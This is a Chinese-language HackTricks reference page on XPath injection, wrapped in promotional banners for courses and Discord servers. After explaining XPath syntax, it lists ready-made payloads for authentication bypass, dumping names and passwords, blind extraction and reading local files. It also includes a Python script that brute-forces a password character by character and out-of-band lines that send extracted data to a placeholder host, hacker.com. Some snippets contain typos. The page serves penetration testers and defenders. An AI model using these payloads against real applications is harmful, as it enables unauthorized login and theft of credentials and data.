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353 lines
14 KiB
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# XPATH注入
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<details>
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<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
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支持HackTricks的其他方式:
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* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
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**黑客见解**\
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参与深入探讨黑客的刺激和挑战的内容
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**实时黑客新闻**\
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通过实时新闻和见解及时了解快节奏的黑客世界
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**最新公告**\
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了解最新的赏金计划发布和重要平台更新
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**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
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## 基本语法
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一种称为XPath注入的攻击技术被用来利用根据用户输入形成XPath(XML路径语言)查询的应用程序来查询或导航XML文档。
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### 描述的节点
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表达式用于选择XML文档中的各种节点。以下是这些表达式及其描述的总结:
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- **nodename**:选择所有名称为“nodename”的节点。
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- **/**:从根节点进行选择。
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- **//**:选择与当前节点匹配的节点,无论它们在文档中的位置如何。
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- **.**:选择当前节点。
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- **..**:选择当前节点的父节点。
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- **@**:选择属性。
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### XPath示例
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路径表达式及其结果的示例包括:
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- **bookstore**:选择所有名称为“bookstore”的节点。
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- **/bookstore**:选择根元素bookstore。请注意,表示元素的绝对路径以斜杠(/)开头。
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- **bookstore/book**:选择bookstore的子元素book。
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- **//book**:选择文档中的所有book元素,无论它们的位置如何。
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- **bookstore//book**:选择bookstore元素下的所有后代book元素,无论它们在bookstore元素下的位置如何。
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- **//@lang**:选择所有名称为lang的属性。
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### 谓词的使用
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谓词用于细化选择:
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- **/bookstore/book[1]**:选择bookstore元素的第一个book元素子节点。对于将第一个节点索引为[0]的IE版本5到9的解决方法是通过JavaScript将SelectionLanguage设置为XPath。
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- **/bookstore/book[last()]**:选择bookstore元素的最后一个book元素子节点。
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- **/bookstore/book[last()-1]**:选择bookstore元素的倒数第二个book元素子节点。
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- **/bookstore/book[position()<3]**:选择bookstore元素的前两个book元素子节点。
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- **//title[@lang]**:选择具有lang属性的所有title元素。
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- **//title[@lang='en']**:选择具有值为“en”的“lang”属性的所有title元素。
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- **/bookstore/book[price>35.00]**:选择价格大于35.00的所有book元素。
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- **/bookstore/book[price>35.00]/title**:选择价格大于35.00的book元素的bookstore中的所有title元素。
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### 未知节点的处理
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通配符用于匹配未知节点:
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- **\***:匹配任何元素节点。
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- **@***:匹配任何属性节点。
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- **node()**:匹配任何类型的任何节点。
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进一步的示例包括:
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- **/bookstore/\***:选择bookstore元素的所有子元素节点。
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- **//\***:选择文档中的所有元素。
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- **//title[@\*]**:选择具有至少一个任意类型属性的所有title元素。
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<data>
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<user>
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<name>pepe</name>
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<password>peponcio</password>
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<account>admin</account>
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</user>
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<user>
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<name>mark</name>
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<password>m12345</password>
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<account>regular</account>
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</user>
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<user>
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<name>fino</name>
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<password>fino2</password>
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<account>regular</account>
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</user>
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</data>
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```
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### 访问信息
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XPath注入是一种利用应用程序中的XPath表达式来访问或修改数据的攻击技术。攻击者可以通过构造恶意的XPath表达式来绕过身份验证、访问敏感数据或执行其他恶意操作。XPath注入通常发生在搜索表单或过滤器等用户可控输入的地方。要防止XPath注入,应该使用参数化查询或编码输入数据。
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```
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All names - [pepe, mark, fino]
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name
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//name
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//name/node()
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//name/child::node()
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user/name
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user//name
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/user/name
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//user/name
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All values - [pepe, peponcio, admin, mark, ...]
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//user/node()
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//user/child::node()
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Positions
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//user[position()=1]/name #pepe
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//user[last()-1]/name #mark
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//user[position()=1]/child::node()[position()=2] #peponcio (password)
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Functions
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count(//user/node()) #3*3 = 9 (count all values)
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string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
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substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
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```
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### 识别和窃取模式
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- 使用错误的XPath查询来识别数据库架构
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- 通过逐步调整查询来窃取数据
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```python
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and count(/*) = 1 #root
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and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
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and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
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and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
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and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
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and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
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and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
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and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
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and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
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#The previous solutions are the representation of a schema like the following
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#(at this stage we don't know the name of the tags, but jus the schema)
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<root>
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<a>
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<b></b>
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</a>
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<c>
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<d></d>
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<e></e>
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<f>
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<h></h>
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</f>
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</c>
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</root>
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and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
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and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
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and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
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#Stealing the schema via OOB
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doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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```
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## 身份验证绕过
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### **查询示例:**
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```
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
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$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
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```
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### **用户和密码中的OR绕过(两者的值相同)**
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```
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' or '1'='1
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" or "1"="1
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' or ''='
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" or ""="
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
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Select account
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Select the account using the username and use one of the previous values in the password field
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```
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### **滥用空值注入**
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```
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Username: ' or 1]%00
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```
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### **用户名或密码中的双重OR**(仅在一个易受攻击的字段中有效)
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重要提示:请注意**“and”是首先执行的操作**。
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```
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Bypass with first match
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(This requests are also valid without spaces)
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
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Select account
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'or string-length(name(.))<10 or' #Select account with length(name)<10
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'or contains(name,'adm') or' #Select first account having "adm" in the name
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'or contains(.,'adm') or' #Select first account having "adm" in the current value
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'or position()=2 or' #Select 2º account
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string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
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Select account (name known)
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admin' or '
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admin' or '1'='2
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string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
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```
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## 字符串提取
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输出包含字符串,用户可以操纵这些值进行搜索:
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```
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/user/username[contains(., '+VALUE+')]
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```
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```
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') or 1=1 or (' #Get all names
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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') or 2=1] | //user/node()[('')=(' #Get all values
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')] | //./node()[('')=(' #Get all values
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')] | //node()[('')=(' #Get all values
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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')] | //password%00 #All names and passwords (abusing null injection)
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')]/../*[3][text()!=(' #All the passwords
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')] | //user/*[1] | a[(' #The ID of all users
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')] | //user/*[2] | a[(' #The name of all users
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')] | //user/*[3] | a[(' #The password of all users
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')] | //user/*[4] | a[(' #The account of all users
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```
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## 盲目利用
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### **获取值的长度并通过比较提取它:**
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```bash
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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
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' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
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substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
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```
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### **Python 示例**
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```python
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import requests
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url = "http://example.com/login"
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payload = "' or '1'='1'--"
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data = {"username": payload, "password": "password", "submit": "submit"}
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response = requests.post(url, data=data)
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print(response.text)
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```
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```python
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import requests, string
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flag = ""
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l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
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r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
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if ("TRUE_COND" in r.text):
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l = i
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break
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print("[+] Password length: " + str(l))
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for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
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for al in alphabet:
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r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
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if ("TRUE_COND" in r.text):
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flag += al
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print("[+] Flag: " + flag)
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break
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```
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### 读取文件
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1. **Payload**:
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```plaintext
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' or '1'='1
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```
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2. **Request**:
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```http
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GET /product?category=' or '1'='1 HTTP/1.1
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Host: vulnerable-website.com
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```
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3. **Analysis**:
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- The payload `' or '1'='1` will make the XPath query always return true, allowing the attacker to read the entire file.
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4. **Recommendation**:
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- Sanitize user input and use parameterized XPath queries to prevent XPath injection.
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```python
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(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
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```
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## OOB利用
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```python
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doc(concat("http://hacker.com/oob/", RESULTS))
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doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
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doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
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#Instead of doc() you can use the function doc-available
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doc-available(concat("http://hacker.com/oob/", RESULTS))
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#the doc available will respond true or false depending if the doc exists,
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#user not(doc-available(...)) to invert the result if you need to
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```
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### 自动化工具
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* [xcat](https://xcat.readthedocs.io/)
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* [xxxpwn](https://github.com/feakk/xxxpwn)
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* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
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* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
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* [XmlChor](https://github.com/Harshal35/XMLCHOR)
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## 参考资料
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
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* [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
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* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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||
|
||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||
|
||
**黑客见解**\
|
||
参与深入探讨黑客行为的刺激和挑战的内容
|
||
|
||
**实时黑客新闻**\
|
||
通过实时新闻和见解了解快节奏的黑客世界
|
||
|
||
**最新公告**\
|
||
了解最新启动的赏金任务和重要平台更新
|
||
|
||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
|
||
|
||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||
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</details>
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